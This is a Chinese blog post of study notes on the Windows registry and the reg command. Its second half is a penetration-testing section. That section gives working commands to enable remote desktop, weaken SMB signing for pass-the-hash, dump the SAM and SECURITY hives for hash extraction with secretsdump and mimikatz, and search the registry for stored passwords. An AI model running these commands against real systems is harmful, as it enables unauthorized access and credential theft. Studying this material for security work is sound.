Windows 注册表学习
? Windows ?    1304    0    0
t3ngyu   ? Windows ?

    注册表是Windows在win95/98系统开始引入的一种核心数据库,里面存放着各类的配置信息、参数等、直接控制着系统的启动、硬件的装载及Windows程序的运行。

一、注册表结构:键、值、类型

 

 

二、根键的分类及作用

    1. HKEY_CLASSES_ROOT:是应用程序运行时必需的信息,包括扩展名和关联、所有的驱动程序名称、类的ID数字、用于应用程序和文件的图标。

    2. HKEY_CURRENT_USER:管理系统当前的用户信息。在这个根键中保存了本地计算机中存放的当前登录的用户信息,包括用户登录用户名和暂存的密码。在用户登录Windows时,其信息从HKEY_USERS中相应的项拷贝到HKEY_CURRENT_USER中。

    3. HKEY_LOCAL_MACHINE:保存了注册表里的所有与这台计算机有关的配置信息。

    4. HKEY_USERS:仅包含了缺省用户设置和登录用户的信息。包含了所有独立用户的设置,但在用户未登录时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。

    5. HKEY_CURRENT_CONFIG:包括了系统中现有的所有配置文件的细节。它与HKEY_LOCAL_MACHINE的不同之处是它的改变不会涉及到多个注册表信息的改变。

 

PS:上述的根键分别有对应的缩写,缩写规则是:第一个单词前两个字母和后两个单词首字母,如:HKCU为"HKEY_CURRENT_USER"的缩写,其他根键为"HKCR"、"HKLM"、"HKU"、"HKCC"等

    

三、reg命令

    可以实现对注册表进行添加、删除、查看、备份、还原等操作。

    1. 注册表添加:向"HKEY_CURRENT_USER"下创建一个子键"Teng",在该子键中添加名为"hello",类型为"REG_ZS",数据为"welcome"

reg add  HKCU\Teng  /v hello  /t REG_SZ  /d "welcome"

其中 /v 值 /t 类型 /d 数据

    2. 修改注册表中的值,例如开启远程桌面 1->0

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0

需要注意的是:带有空格键的路径加引号,否则会失败

    3. 查看某项注册表中的值:

reg query HKCU\Teng
reg query HKCU\Teng/v hello  # 指定某一子项

    4. 导入导出注册表

reg import c:\Teng.reg
reg export HKCU\Teng c:\Teng.reg

    5. 删除某一项

reg delete HKCU\Teng/v hello /f

 

四、渗透中经常要用到注册表项

    1. 启动远程桌面:

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0

其次还需要防火墙设置:

netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

    2. 查看RDP远程连接的端口:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber 

其中十六进制0xd3d 为十进制的3389

    3. 开启hash传递:

reg add "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /f /v RequireSecuritySignature /t REG_DWORD /d 0

    4. 注册表持久化用到的一些注册表项目。(这里会后面详细总结)

    5. 注册表中的敏感信息。好多软件会将配置信息写入注册表,这其中可能包括:系统用户的账号密码、邮箱账号密码、远程连接主机的IP地址等等信息,这里说明几例子:

    (1)直接导出sam数据库,本地破解hash,需要管理员权限,在目标机器上执行:

reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\security security.hiv

将生成的三个.hiv文件脱回到本地,利用secretsdump或者mimikatz进行提取。

Secretsdump:(kali自带,impacket套件工具)

secretsdump.py -sam sam.hiv -security security.hiv -system sys.hiv LOCAL

Mimikatz:

mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit

    (2)其他的可能保存密码的注册表键:

HKCU\Software\ORL\WinVNC3\Password
HKCU\Software\SimonTatham\PuTTY\Sessions
HKLM\SYSTEM\Current\ControlSet\Services\SNMP
HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions
HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon

    在进行本地信息搜集阶段,通过进程、端口、本地安装软件列表等信息进而判断注册表项目中是否可能有密码,不过也可以直接对注册表中的值进行关键词搜索,如:

reg query HKLM /f password /t REG_SZ /s 
reg query HKCU /f password /t REG_SZ /s

 

觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录